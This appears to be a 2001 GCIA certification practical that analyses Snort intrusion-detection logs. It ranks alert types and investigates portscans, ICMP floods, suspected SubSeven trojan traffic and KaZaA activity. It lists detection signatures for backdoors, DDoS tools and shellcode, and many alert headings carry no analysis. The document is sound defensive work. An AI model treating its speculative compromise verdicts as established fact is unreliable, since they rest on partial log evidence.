alert.011222.gz, alert.011223.gz, alert.011224.gz, alert.011225.gz, alert.011226.gz

scans.011222.gz, scans.011223.gz, scans.011224.gz, scans.011225.gz, scans.011226.gz

oos_Dec.22.2001.gz, oos_Dec.23.2001.gz, oos_Dec.24.2001.gz, oos_Dec.25.2001.gz,
oos_Dec.26.2001.gz

C) Executive Summary Analysis

The below list of all the different types of detects show that the attacks

are increasingly diverse. Referencing Christof Voemel's corresponding analysis section http://www.giac.org/practical/Christof_Voemel_GCIA.txt, the detects listed number 26.

Using a number of shell commands, I've summed the types of detects and sorted
them by number of instances. They number 80, three times greater than July 2001's data. As one might expect, the greatest number of detects are scans while exploits are far fewer.

D) Alert Detects Listed by Number of Occurances

85000	spp_portscan
62318	Watchlist 000220 IL-ISDNNET-990517
33144	MISC traceroute
18189	CS WEBSERVER - external web traffic
16955	MISC source port 53 to <1024
11550	ICMP Echo Request BSDtype
10990	WEB-MISC prefix-get //
10305	INFO MSN IM Chat data
9117	ICMP Destination Unreachable
7748	MISC Large UDP Packet
5753	SCAN Proxy attempt
5132	Queso fingerprint
5111	ICMP Source Quench
5026	SYN-FIN scan!
4683	BACKDOOR NetMetro Incoming Traffic
2249	ICMP Fragment Reassembly Time Exceeded
2239	ICMP Echo Request Windows
1980	Watchlist 000222 NET-NCFC
1256	External RPC call
1054	INFO FTP anonymous FTP
838	SMTP relaying denied
740	INFO Inbound GNUTella Connect accept
573	SMB Name Wildcard
544	Incomplete Packet Fragments Discarded
491	Tiny Fragments - Possible Hostile Activity
412	TCP SRC and DST outside network
400	spp_http_decode: IIS Unicode attack detected
278	FTP DoS ftpd globbing
263	INFO Possible IRC Access
222	TELNET login incorrect
211	Null scan!
211	INFO - Possible Squid Scan
196	WEB-IIS _vti_inf access
110	connect to 515 from outside
106	Port 55850 tcp - Possible myserver activity - ref. 010313-1
98	WEB-CGI finger access
75	WEB-FRONTPAGE _vti_rpc access
66	High port 65535 tcp - possible Red Worm - traffic
66	connect to 515 from inside
65	NMAP TCP ping!

```
64    TFTP - Internal TCP connection to external tftp server
55    INFO Napster Client Data
49    EXPLOIT x86 NOOP
25    DDOS shaft client to handler
23    Virus - Possible scr Worm
20    Possible trojan server activity
19    SCAN FIN
19    INFO - Web Cmd completed
17    MISC Large ICMP Packet
16    TELNET access
15    ICMP redirect (Host)
14    SUNRPC highport access!
11    SCAN Synscan Portscan ID 19104
11    DNS zone transfer
11    beetle.ucs
10    SNMP public access
7     X11 outgoing
7     SMTP chameleon overflow
7     EXPLOIT x86 setgid 0
5     IDS475/web-iis_web-webdav-propfind
5     EXPLOIT x86 setuid 0
4     RFB - Possible WinVNC - 010708-1
4     MISC PCAnywhere Startup
4     INFO napster login
4     IDS50/trojan_trojan-active-subseven
4     External FTP to HelpDesk MY.NET.70.49
3     MISC solaris 2.5 backdoor attempt
3     FTP CWD / - possible warez site
3     Attempted Sun RPC high port access
2     x86 NOOP - unicode BUFFER OVERFLOW ATTACK
2     INFO - Web Command Error
2     DDOS mstream handler to client
1     SCAN XMAS
1     SCAN - wayboard request
1     INFO - Web Dir listing
1     ICMP Reserved for Security (Type 19) (Undefined Code!)
1     ICMP Redirect (Undefined Code!)
1     ICMP Photuris (Undefined Code!)
1     FTP passwd attempt
1     EXPLOIT x86 stealth noop
```


For this detect type, I will list by severity. Just because the traffic is high, it does not mean that it is the most lethal.

I prioritize the list in the following way:

1. Exploits
2. Exploit Attempts
3. Incoming IRC Traffic
4. Backdoor probes
5. DDOS attempts

6. Warez Site Use
7. Virus/Worm Activity
    .
    .
    .

List of Alert Detects by Severity (because both lists are important)

While a large scan my be noisy and disruptive, a small number of targeted exploits are much worse, if successful.

```
49    EXPLOIT x86 NOOP
7     EXPLOIT x86 setgid 0
5     EXPLOIT x86 setuid 0
1     EXPLOIT x86 stealth noop
263   INFO Possible IRC Access
2     x86 NOOP - unicode BUFFER OVERFLOW ATTACK
3     MISC solaris 2.5 backdoor attempt
4683  BACKDOOR NetMetro Incoming Traffic
20    Possible trojan server activity
7     SMTP chameleon overflow
7     X11 outgoing
25    DDOS shaft client to handler
2     DDOS mstream handler to client
3     FTP CWD / - possible warez site
23    Virus - Possible scr Worm
66    High port 65535 tcp - possible Red Worm - traffic
106   Port 55850 tcp - Possible myserver activity - ref. 010313-1
400   spp_http_decode: IIS Unicode attack detected
110   connect to 515 from outside
66    connect to 515 from inside
278   FTP DoS ftpd globbing
1     FTP passwd attempt
14    SUNRPC highport access!
62318      Watchlist 000220 IL-ISDNNET-990517
1980  Watchlist 000222 NET-NCFC
1256  External RPC call
573   SMB Name Wildcard
3     Attempted Sun RPC high port access
5     IDS475/web-iis_web-webdav-propfind
4     IDS50/trojan_trojan-active-subseven
4     External FTP to HelpDesk MY.NET.70.49
4     RFB - Possible WinVNC - 010708-1
4     MISC PCAnywhere Startup
222   TELNET login incorrect
196   WEB-IIS _vti_inf access
98    WEB-CGI finger access
75    WEB-FRONTPAGE _vti_rpc access
16    TELNET access
11    DNS zone transfer
11    beetle.ucs
```

```
10    SNMP public access
4     INFO napster login
2     INFO - Web Command Error
1     SCAN XMAS
1     SCAN - wayboard request
1     INFO - Web Dir listing
1     ICMP Reserved for Security (Type 19) (Undefined Code!)
1     ICMP Redirect (Undefined Code!)
1     ICMP Photuris (Undefined Code!)
412   TCP SRC and DST outside network
838   SMTP relaying denied
85000      spp_portscan
5753  SCAN Proxy attempt
5132  Queso fingerprint
5111  ICMP Source Quench
19    SCAN FIN
5026  SYN-FIN scan!
2249  ICMP Fragment Reassembly Time Exceeded
2239  ICMP Echo Request Windows
1054  INFO FTP anonymous FTP
740   INFO Inbound GNUTella Connect accept
544   Incomplete Packet Fragments Discarded
491   Tiny Fragments - Possible Hostile Activity
211   Null scan!
211   INFO - Possible Squid Scan
65    NMAP TCP ping!
64    TFTP - Internal TCP connection to external tftp server
15    ICMP redirect (Host)
19    INFO - Web Cmd completed
17    MISC Large ICMP Packet
9117  ICMP Destination Unreachable
7748  MISC Large UDP Packet
11    SCAN Synscan Portscan ID 19104
55    INFO Napster Client Data
16955      MISC source port 53 to <1024
11550      ICMP Echo Request BSDtype
33144      MISC traceroute
18189      CS WEBSERVER - external web traffic
10990      WEB-MISC prefix-get //
10305      INFO MSN IM Chat data
```

The number of Detects is quite high, so I will keep my descriptions brief and
selected for a half dozen or so types. I know you wanted a description of all 80, but there are simply too many and you can draw conclusions about my analytical skills from the ones that I do elaborate on:

spp_portscan
A number of hosts in this network (260) are targets of this portscan and of these 85000 packets, 10,000 are from non-local addresses, 3369 of which are STEALTH scans. There are generally three "phases" to this type of scan: "PORTSCAN DETECTED", "portscan status", and "End of portscan", with the bulk of the connections generated from

"portscan status" types. Understandable since there are generally multiple ports scanned from the same host per "session". No doubt there are FALSE positives in here. Let's take a case in point:

```
alert_data:12/26-17:52:02.673219  [**] spp_portscan: PORTSCAN DETECTED from
MY.NET.10.134 (THRESHOLD 4 connections exceeded in 2 seconds) [**]
alert_data:12/26-17:52:04.482770  [**] spp_portscan: portscan status from
MY.NET.10.134: 6 connections across 1 hosts: TCP(0), UDP(6) [**]
alert_data:12/26-17:52:06.622325  [**] spp_portscan: portscan status from
MY.NET.10.134: 3 connections across 1 hosts: TCP(0), UDP(3) [**]
alert_data:12/26-17:52:08.693123  [**] spp_portscan: portscan status from
MY.NET.10.134: 1 connections across 1 hosts: TCP(0), UDP(1) [**]
alert_data:12/26-17:52:10.671571  [**] spp_portscan: End of portscan from
MY.NET.10.134: TOTAL time(11s) hosts(1) TCP(0) UDP(10) [**]
alert_data:12/26-17:42:40.914307  [**] Attempted Sun RPC high port access
[**] MY.NET.10.134:53 -> MY.NET.97.237:32771
alert_data:12/26-17:42:53.818738  [**] Attempted Sun RPC high port access
[**] MY.NET.10.134:53 -> MY.NET.97.237:32771
alert_data:12/26-17:43:16.087898  [**] Attempted Sun RPC high port access
[**] MY.NET.10.134:53 -> MY.NET.97.237:32771
```

This is just normal DNS response traffic from a DNS server.

Watchlist 000220 IL-ISDNNET-990517

These lists are good for giving Intrusion Detection Analysts a heads up when trying to determine the intent of suspicious traffic. This particular watchlist is an Israeli list of sites. I wouldn't be surprised if whitehouse.gov started scanning and attacking any hosts. The vast majority of the traffic we see is directed at destination port 1214, closely associated with the KaZaA file sharing program. This was also noted by Christof Voemel's GCIA practical, found at the following location: http://www.gcia.org/practicals.html This analysis just struck a nerve because I was looking over a report that someone gave to me recently that showed this (unknown at the time) port topping number 3 on the incoming traffic report. For my organization, that's a very large number. I'm just going to have to revisit that subject, to say the least. It is our organization's policy to block known hostile sites, I see no reason why not to do so here as well, especially given the amount of traffic. Our policy is usually to unblock after 30 days. Perhaps, the case of watchlists, it might be until the watchlist deems the sites "remediated".

MISC traceroute

Given that 67 outside hosts are generating 32793 traceroutes, I'd say that this constitutes some sort of host discovery scan. It would be best to simply block incoming ICMP of this type.

CS WEBSERVER - external web traffic

With 3462 unique outside addresses generating 18189 connections to local webservers, I don't think that there's anything wrong with that. I'd consider this a FALSE Positive and move on. I'm not saying that someone isn't doing anything to our webservers in these

connections, but we don't have any obvious clues with these numbers.

MISC source port 53 to <1024

Checking our list of DNS servers against the target machines in all of these connections, all but one address is an identified DNS server. Looking into connections that are to the one address that isn't, we clearly see that this is a scan to destination port 0:

```
12/23-06:07:25.973391  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
12/23-06:07:26.974623  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
12/23-06:07:28.977992  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
12/25-21:04:50.977040  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
12/25-21:04:53.973677  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
12/25-21:04:54.951973  [**] MISC source port 53 to <1024 [**] 65.214.36.7:53
-> MY.NET.1.9:0
```

This packet might be crafted (perhaps by NMAP or some other scanning tool).

Looking for other destination ports of 0 for a source port of 53, we don't detect anymore. The rest of the traffic is to destination port 53, as we might expect for normal DNS queries.

ICMP Echo Request BSDtype

It is clear that 141.213.11.120 is hitting MY.NET.70.148 hard:

```
12/22-00:15:08.187113  [**] ICMP Echo Request BSDtype [**] 141.213.11.120 ->
MY.NET.70.148
12/22-00:15:11.190357  [**] ICMP Echo Request BSDtype [**] 141.213.11.120 ->
MY.NET.70.148
12/22-00:15:15.194837  [**] ICMP Echo Request BSDtype [**] 141.213.11.120 ->
MY.NET.70.148
12/22-00:15:17.198027  [**] ICMP Echo Request BSDtype [**] 141.213.11.120 ->
MY.NET.70.148
12/22-00:35:26.964587  [**] ICMP Echo Request BSDtype [**] 141.213.11.120 ->
MY.NET.70.148
```

with 3363 connections. These are also accompanied by 97 "MISC traceroutes". Looking some more, we see similar patterns and numbers of connections to the same machine MY.NET.70.148. Someone is doing something nasty to this host, 9745 times. My guess is that this machine is being DoS'ed. Let's run this one to the ground and start by seeing what this host's function is:

```
12/22-09:36:44.076576  [**] INFO FTP anonymous FTP [**] 24.252.66.101:1062 -
> MY.NET.70.148:21
```

260 anonymous FTP connections gives us a clue. So, it's an FTP server, whether it's meant to be or not. Looking at other

traffic to this host, it looks like it is a BIG target and is probably
compromised. It looks like after days of trying, 204.152.184.75 might have been successful:

```
12/22-09:30:15.938873  [**] INFO - Possible Squid Scan [**]
204.152.184.75:49893 -> MY.NET.70.148:3128
12/23-04:04:37.700544  [**] SCAN Proxy attempt [**] 204.152.184.75:52635 ->
MY.NET.70.148:1080
12/23-04:07:47.856530  [**] IDS50/trojan_trojan-active-subseven [**]
MY.NET.70.148:1243 -> 204.152.184.75:51827
12/23-04:51:13.281283  [**] Port 55850 tcp - Possible myserver activity -
ref. 010313-1 [**] 204.152.184.75:55850 -> MY.NET.70.148:2706
12/23-04:51:13.281361  [**] Port 55850 tcp - Possible myserver activity -
ref. 010313-1 [**] MY.NET.70.148:2706 -> 204.152.184.75:55850
12/24-15:01:12.874492  [**] INFO - Possible Squid Scan [**]
204.152.184.75:60310 -> MY.NET.70.148:3128
12/25-09:15:38.827777  [**] SCAN Proxy attempt [**] 204.152.184.75:63102 ->
MY.NET.70.148:1080
12/25-09:17:13.717753  [**] IDS50/trojan_trojan-active-subseven [**]
MY.NET.70.148:1243 -> 204.152.184.75:62804
12/25-09:55:38.828914  [**] SCAN Proxy attempt [**] 204.152.184.75:54240 ->
MY.NET.70.148:1080
12/26-22:28:14.992027  [**] SCAN Proxy attempt [**] 204.152.184.75:57099 ->
MY.NET.70.148:1080
12/26-22:30:31.452106  [**] IDS50/trojan_trojan-active-subseven [**]
MY.NET.70.148:1243 -> 204.152.184.75:56442
12/26-23:39:13.418216  [**] SCAN Proxy attempt [**] 204.152.184.75:65404 ->
MY.NET.70.148:1080
12/26-23:41:26.810782  [**] IDS50/trojan_trojan-active-subseven [**]
MY.NET.70.148:1243 -> 204.152.184.75:64454
```

This machine being hacked is not a foregone conclusion, why continue to scan the machine if the subseven trojan was successful? Judging from the lag in time, this might be an automated attack set to a very high time interval and the hacker, perhaps, was successful but has not yet returned to stop the attack session.

Let's check the other datafiles to see if we can find any more interesting traffic:

6143 SYN connections from 204.152.184.75 on increasing destination port numbers. Ok, expected at this point. Source ports start at 54666 and _decrease_ as time goes on. The source ports recycle between 50000 and 65000. Very peculiar (and unsavory).

282 SYN connections from 129.128.5.191 on increasing destination port numbers. Source port is 20 (ftp-data), so this is probably an FTP transfer.

157 SYN connections from 62.243.72.50 on increasing destination port numbers. Again, source port is 20 (ftp-data), so this is probably an FTP transfer.

After filtering out all of the above traffic from the scans file, we're left with one SYN:

```
Dec 26 21:54:16 210.58.102.86:21 -> MY.NET.70.148:21 SYN ******S*
```

Just because we're thorough, let's see what else this source IP is doing (who sends just one SYN to an FTP server?).

Looks like some portscan activity:

```
12/26-22:04:17.250836  [**] spp_portscan: PORTSCAN DETECTED from
210.58.102.86 (THRESHOLD 4 connections exceeded in 0 seconds) [**]
12/26-22:04:19.058112  [**] spp_portscan: portscan status from
210.58.102.86: 80 connections across 80 hosts: TCP(80), UDP(0) [**]
12/26-22:04:21.088540  [**] spp_portscan: portscan status from
210.58.102.86: 111 connections across 111 hosts: TCP(111), UDP(0) [**]
.
.
.
12/26-21:51:54.821772  [**] ICMP Destination Unreachable (Protocol
Unreachable) [**] MY.NET.15.12 -> 210.58.102.86
12/26-21:51:54.837878  [**] ICMP Destination Unreachable (Protocol
Unreachable) [**] MY.NET.15.13 -> 210.58.102.86
.
.
.
12/26-21:54:15.582622  [**] beetle.ucs [**] 210.58.102.86:21 ->
MY.NET.70.69:21
12/26-21:54:15.582950  [**] beetle.ucs [**] MY.NET.70.69:21 ->
210.58.102.86:21
.
.
.
```

...and a scans datafile reveals an FTP scan:

```
Dec 26 21:51:19 210.58.102.86:21 -> MY.NET.1.33:21 SYN ******S*
Dec 26 21:51:19 210.58.102.86:21 -> MY.NET.1.37:21 SYN ******S*
Dec 26 21:51:19 210.58.102.86:21 -> MY.NET.1.38:21 SYN ******S*
Dec 26 21:51:19 210.58.102.86:21 -> MY.NET.1.46:21 SYN ******S*
.
.
.
Dec 26 22:02:06 210.58.102.86:21 -> MY.NET.254.243:21 SYN ******S*
Dec 26 22:02:06 210.58.102.86:21 -> MY.NET.254.246:21 SYN ******S*
Dec 26 22:02:06 210.58.102.86:21 -> MY.NET.254.247:21 SYN ******S*
Dec 26 22:02:06 210.58.102.86:21 -> MY.NET.254.252:21 SYN ******S*
Dec 26 22:02:06 210.58.102.86:21 -> MY.NET.254.253:21 SYN ******S*
```

We could look at some more angles, but I've got too many other detects to talk about.

WEB-MISC prefix-get //
571 outside hosts generating 9644 packets. Probably. I'd say this is probably normal traffic.

INFO MSN IM Chat data
What can I say? Instant Messenger is popular with students. 60% of the connections originate from the local network. Consistent with two way chat sessions. We would expect the number of source and destination hosts to be roughly equal. Let's check:
Unique source hosts: 145 Unique destination hosts: 195
Close enough. Looks like source and destination port 6112/udp.

ICMP Destination Unreachable
Generally a good sign that someone is doing something nasty. Looks like 3661 identical packets originating from the same source and going to the same destination:

12/22-02:33:59.035436 [**] ICMP Destination Unreachable (Communication Administratively Prohibited) [**] 65.207.94.30 -> MY.NET.137.7

In summary, the following hosts:
207.245.122.241
24.43.162.1
63.146.1.33
65.207.94.30

have generated 4232 ICMP Destination Unreachable connections to MY.NET.137.7. Checking our list from above, we see that MY.NET.137.7 is a DNS server. Looks like someone may be trying to DoS the DNS server
so IP addresses can be spoofed. The DoS efforts were ongoing past the end of the 5 consecutive days of data.

MISC Large UDP Packet

1969 connections of this type:
12/22-17:32:36.176532 [**] MISC Large UDP Packet [**] 61.219.53.135:1654 -> MY.NET.153.210:3816

Count	Source:port		Destination:port
4	61.219.53.135:0	->	MY.NET.153.210:0
1964	61.219.53.135:1654	->	MY.NET.153.210:3816
1	61.219.53.135:39197	->	MY.NET.153.210:51498

Similar scan traffic (static source and destination ports) was also noted at http://www.sans.org/y2k/092400.htm

SCAN Proxy attempt
A number of hosts have generated this type of traffic, but on in particular stands out: 65.165.14.43, with 4665 connections.

Queso fingerprint

ICMP Source Quench

SYN-FIN scan!

BACKDOOR NetMetro Incoming Traffic

ICMP Fragment Reassembly Time Exceeded

ICMP Echo Request Windows

Watchlist 000222 NET-NCFC
This watchlist is for the Computer Network Center Chinese Academy of Sciences (reference http://www.zeltser.com/sans/idic-practical/). See above talk about Watchlist 000220. Given how prolific these sites are, I wonder why they're still in operation. Perhaps the internet needs some sort of security board that fields complaints from people being attacked from certain sites and makes an effort to resolve the issue. I guess that opens up a can of worms with regard to Law Enforcement, national soverty, etc. Clearly, some countries abuse the internet with their laxed computer crime laws. Perhaps "internet sanctions" would be a good tool. Ahem.

External RPC call

INFO FTP anonymous FTP

SMTP relaying denied

INFO Inbound GNUTella Connect accept

SMB Name Wildcard

Incomplete Packet Fragments Discarded

Tiny Fragments - Possible Hostile Activity

TCP SRC and DST outside network

spp_http_decode: IIS Unicode attack detected

FTP DoS ftpd globbing

INFO Possible IRC Access

TELNET login incorrect

Null scan!

INFO - Possible Squid Scan

WEB-IIS _vti_inf access

connect to 515 from outside
People are always banging on port 515 looking for common exploitable lpr daemons (for example: lprng, lpr http://lwn.net/2000/1012/security.php3)
This port shouldn't even be open from the outside.

Port 55850 tcp - Possible myserver activity - ref. 010313-1

WEB-CGI finger access

WEB-FRONTPAGE _vti_rpc access

High port 65535 tcp - possible Red Worm - traffic

connect to 515 from inside
This is probably normal print traffic. We'll have to look to see if there are any suspicious kinds of connections.

NMAP TCP ping!

TFTP - Internal TCP connection to external tftp server

INFO Napster Client Data

EXPLOIT x86 NOOP

DDOS shaft client to handler

Virus - Possible scr Worm

Possible trojan server activity

SCAN FIN

INFO - Web Cmd completed

MISC Large ICMP Packet

TELNET access

ICMP redirect (Host)

SUNRPC highport access!
Some of these are FALSE positives with random port selection, some may be part of a scan.

SCAN Synscan Portscan ID 19104

DNS zone transfer

beetle.ucs
Network searches reveal nothing about what this detect is. Looking at the host doing the beetle, let's see if we can find out more:

```
alert_data_summary_destination:    10   ] ICMP Destination Unreachable
(Communication Administratively Prohibited) [          210.58.102.86
alert_data_summary_destination:    1    ] beetle.ucs [      210.58.102.86
alert_data_summary_source:    1    ] beetle.ucs [      210.58.102.86
```

Not much to go on, but we do know that host has conducted a portscan against our network, so we can presume it is hostile.

SNMP public access

X11 outgoing

SMTP chameleon overflow

EXPLOIT x86 setgid 0

IDS475/web-iis_web-webdav-propfind

EXPLOIT x86 setuid 0

RFB - Possible WinVNC - 010708-1

MISC PCAnywhere Startup

INFO napster login

IDS50/trojan_trojan-active-subseven

External FTP to HelpDesk MY.NET.70.49

MISC solaris 2.5 backdoor attempt

FTP CWD / - possible warez site

Attempted Sun RPC high port access

x86 NOOP - unicode BUFFER OVERFLOW ATTACK

INFO - Web Command Error

DDOS mstream handler to client

SCAN XMAS

SCAN - wayboard request

INFO - Web Dir listing

ICMP Reserved for Security (Type 19) (Undefined Code!)

ICMP Redirect (Undefined Code!)

ICMP Photuris (Undefined Code!)

FTP passwd attempt

EXPLOIT x86 stealth noop

Out of Spec Detects Listed by Severity
---

40 Possible Covert Channel on one host
30 High port web server connections
8 Port 0 probe
12 Looking for possible backdoor
167 Port Scan to map network
7831 Massive SinFin Scan to map network
36 Probable KaZaA activity on port 1214 on multiple hosts

---
36 Looks like KaZaA activity on port 1214 on a number of hosts:

Given the focused interest in these few machine's port 1214 and the fact that there is data being sent to the port, a close examination of the situation is warrented to determine if this is a legitimate KaZaA traffic or not.

oos_Dec.22.2001:12/22-05:25:10.485047 24.222.59.173:2889 ->
MY.NET.98.202:1214
oos_Dec.22.2001:12/22-05:25:17.790133 24.222.59.173:2889 ->
MY.NET.98.202:1214
oos_Dec.22.2001:12/22-05:25:24.778978 24.222.59.173:2889 ->
MY.NET.98.202:1214
oos_Dec.22.2001:12/22-11:22:07.322779 213.93.159.109:1534 ->
MY.NET.97.220:1214
oos_Dec.22.2001:12/22-12:15:58.354374 193.226.113.248:1265 ->
MY.NET.70.70:1214
oos_Dec.22.2001:12/22-22:54:26.209750 200.67.217.54:36426 ->
MY.NET.70.70:1214
oos_Dec.23.2001:12/23-20:10:12.508677 24.36.185.188:1621 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:17:12.438062 24.36.185.188:1690 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:17:29.123824 24.36.185.188:1690 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:19:39.192504 24.36.185.188:1690 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:26:04.467907 24.36.185.188:1738 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:27:16.790582 24.36.185.188:1770 ->
MY.NET.70.49:1214

```
oos_Dec.23.2001:12/23-20:30:24.028306 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:31:16.617947 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:37:46.889101 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:40:08.084414 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:46:55.529667 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-20:48:32.542712 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.23.2001:12/23-21:03:13.367231 24.36.185.188:1770 ->
MY.NET.70.49:1214
oos_Dec.25.2001:12/25-00:22:48.038445 80.62.44.181:1704 -> MY.NET.99.39:1214
oos_Dec.25.2001:12/25-01:45:22.478129 200.75.216.222:2038 ->
MY.NET.99.39:1214
oos_Dec.25.2001:12/25-01:55:49.636455 128.93.24.104:45008 ->
MY.NET.99.39:1214
oos_Dec.25.2001:12/25-03:21:27.802014 193.232.252.34:2496 ->
MY.NET.99.39:1214
oos_Dec.25.2001:12/25-09:47:54.598751 128.93.24.104:46640 ->
MY.NET.99.39:1214
oos_Dec.25.2001:12/25-14:46:55.863886 12.248.26.6:2213 -> MY.NET.97.203:1214
oos_Dec.25.2001:12/25-14:48:04.137118 12.248.26.6:2213 -> MY.NET.97.203:1214
oos_Dec.25.2001:12/25-14:48:14.255298 12.248.26.6:2213 -> MY.NET.97.203:1214
oos_Dec.25.2001:12/25-21:07:42.434716 213.84.157.192:45210 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-21:07:51.739694 213.84.157.192:45210 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-21:44:15.494109 213.84.157.192:45448 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-22:21:33.723260 213.84.157.192:45672 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-22:21:38.079425 213.84.157.192:45672 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-23:03:27.117703 213.84.157.192:45891 ->
MY.NET.100.236:1214
oos_Dec.25.2001:12/25-23:54:01.434219 213.84.157.192:46122 ->
MY.NET.100.236:1214
oos_Dec.22.2001:12/22-11:14:26.509020 213.93.159.109:0 -> MY.NET.97.220:1508
oos_Dec.22.2001:12/22-11:22:07.322779 213.93.159.109:1534 ->
MY.NET.97.220:1214
```

---

40 Data in packets that have no source or destination port. Looks like some sort of covert channel:

```
oos_Dec.22.2001:12/22-12:55:56.078126 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:55:56.309531 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:56:05.276093 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:56:12.590037 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:56:14.739289 64.172.24.155 -> MY.NET.70.70
```

```
oos_Dec.22.2001:12/22-12:58:03.828080 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:58:03.908933 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:58:13.012676 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:58:48.193357 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:58:54.849580 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:59:06.912891 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-12:59:31.590911 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:00:28.266145 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:00:34.723643 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:00:38.799293 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:00:52.245114 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:01:56.315938 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:02:00.684043 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:02:15.180822 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:02:23.580622 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:02:25.356728 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:02:34.294140 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:03.019641 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:18.095197 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:21.158663 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:26.303631 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:27.151701 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:32.429213 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:32.541621 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:35.221997 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:40.340238 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:41.063157 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:46.478291 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:48.997516 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:54.088515 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:54.237816 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:03:59.654670 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:04:06.499432 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:04:21.186961 64.172.24.155 -> MY.NET.70.70
oos_Dec.22.2001:12/22-13:04:47.753475 64.172.24.155 -> MY.NET.70.70
```

---

167 Looks like a port scan and judging from the near sequential source ports, a dedecated scan at that:

```
oos_Dec.22.2001:12/22-02:48:31.500692 210.125.178.52:41989 ->
MY.NET.163.15:0
oos_Dec.22.2001:12/22-02:48:34.509093 210.125.178.52:41989 ->
MY.NET.163.15:0
oos_Dec.22.2001:12/22-02:48:38.504416 210.125.178.52:41990 ->
MY.NET.163.15:1
oos_Dec.22.2001:12/22-02:48:48.476183 210.125.178.52:41991 ->
MY.NET.163.15:2
oos_Dec.22.2001:12/22-02:48:52.471001 210.125.178.52:41992 ->
MY.NET.163.15:3
oos_Dec.22.2001:12/22-02:48:55.467687 210.125.178.52:41992 ->
MY.NET.163.15:3
```

```
oos_Dec.22.2001:12/22-02:48:59.498867 210.125.178.52:41993 ->
MY.NET.163.15:4
oos_Dec.22.2001:12/22-02:49:02.502378 210.125.178.52:41993 ->
MY.NET.163.15:4
oos_Dec.22.2001:12/22-02:49:06.467416 210.125.178.52:41994 ->
MY.NET.163.15:5
oos_Dec.22.2001:12/22-02:49:09.504317 210.125.178.52:41994 ->
MY.NET.163.15:5
oos_Dec.22.2001:12/22-02:49:34.474631 210.125.178.52:41998 ->
MY.NET.163.15:9
oos_Dec.22.2001:12/22-02:49:37.506083 210.125.178.52:41998 ->
MY.NET.163.15:9
oos_Dec.22.2001:12/22-02:49:48.484498 210.125.178.52:42000 ->
MY.NET.163.15:11
oos_Dec.22.2001:12/22-02:49:51.503861 210.125.178.52:42000 ->
MY.NET.163.15:11
oos_Dec.22.2001:12/22-02:49:55.480047 210.125.178.52:42001 ->
MY.NET.163.15:12
oos_Dec.22.2001:12/22-02:50:05.478144 210.125.178.52:42002 ->
MY.NET.163.15:13
